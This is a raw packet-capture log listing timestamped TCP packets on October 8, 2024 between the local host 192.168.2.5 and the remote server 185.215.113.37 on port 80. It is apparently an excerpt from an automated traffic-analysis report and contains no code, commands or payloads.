Oct 8, 2024 03:22:17.810604095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.810642958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.810672045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.810674906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.810674906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.810704947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.810730934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.810738087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.810754061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.810842037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.811778069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.811813116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.811842918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.811844110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.811872005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.811876059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.811892986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.811903954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.811930895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.811943054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.811953068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.811985016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.811997890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812020063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812052011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812056065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812056065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812078953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812100887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812127113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812159061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812165022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812165022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812191963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812222958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812231064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812231064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812254906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812274933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812287092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812318087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812318087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812318087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812350988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812361002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812382936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812413931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812433004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812433004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812446117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812477112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812489033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812508106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812545061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812546968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812546968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812582970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812599897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812612057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812613964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812628984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812643051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812643051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812654018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812669039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812689066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812689066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812705040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.812710047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.812798977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813394070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813402891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813411951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813420057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813430071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813441038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813450098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813451052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813451052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813458920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813467026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813476086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813484907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813493013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813494921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813513041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813530922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813539982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813541889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813550949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813560009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813561916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813570976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813581944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813590050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813611984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813611984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813632011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813663960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813674927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813683033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813692093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813700914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813710928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.813716888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813716888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.813745022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814243078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814254045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814261913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814277887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814285040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814323902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814323902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814393997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814403057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814410925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814419985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814424992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814429045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814440012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814448118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814466953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814466953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814501047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814548969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814558983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814565897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814575911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814582109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814584970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814594030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814610004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814611912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814613104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.814619064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814619064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.814677000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.815550089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:17.815609932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:17.868662119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.067643881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277767897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277781010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277801991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277838945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277849913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277861118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277870893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.277985096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.277985096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278264999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278275967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278286934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278299093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278310061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278321028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278331041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278337955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278337955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278342009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278352976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278366089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278376102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278384924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278384924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278386116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278398037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278409004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278419018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278429985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278430939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278430939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278505087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278515100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278526068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278536081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278542995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278542995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278546095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278556108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278567076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278608084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278608084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278724909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278736115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278744936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278754950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278764963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278774977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278785944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278786898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278786898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278795958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278806925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278815031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278820992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278825998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278840065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278846025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278850079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278861046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278871059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278882980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278892040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278893948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278893948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278897047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278912067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278918982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278920889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278925896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278932095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278937101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278943062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278948069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278953075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.278960943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.278960943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279026031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279189110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279201031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279211044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279221058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279232025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279231071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279239893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279273033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279320002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279418945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279431105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279441118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279450893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279460907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279498100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279498100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279550076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279560089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279570103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279619932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279619932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279681921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279692888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279701948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279715061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279726028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279736042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279745102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279745102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279746056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279756069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279767036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279777050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279787064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279797077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.279814959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279814959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.279998064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280158043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280169010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280178070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280188084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280198097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280206919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280217886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280221939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280221939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280226946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280266047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280277014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280287027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280291080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280291080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280297995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280308008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280318022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280328035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280339003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280342102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280342102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280380964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280380964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280827045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280838013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280848026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280855894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280865908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280875921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280884981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280894995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280905008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280915976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280915976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280916929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280926943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280937910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280947924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280949116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280949116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.280957937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280968904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280978918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280988932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.280999899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281006098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281006098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281044960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281044960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281275034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281285048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281296015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281344891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281344891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281353951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281363964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281374931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281384945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281394005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281404018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.281429052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281430006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.281928062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.364626884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.364681005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.364696980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.364713907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.364731073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.364731073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.364757061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.364757061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.364763021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:18.364811897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:18.364876032 CEST	80	49704	185.215.113.37	192.168.2.5
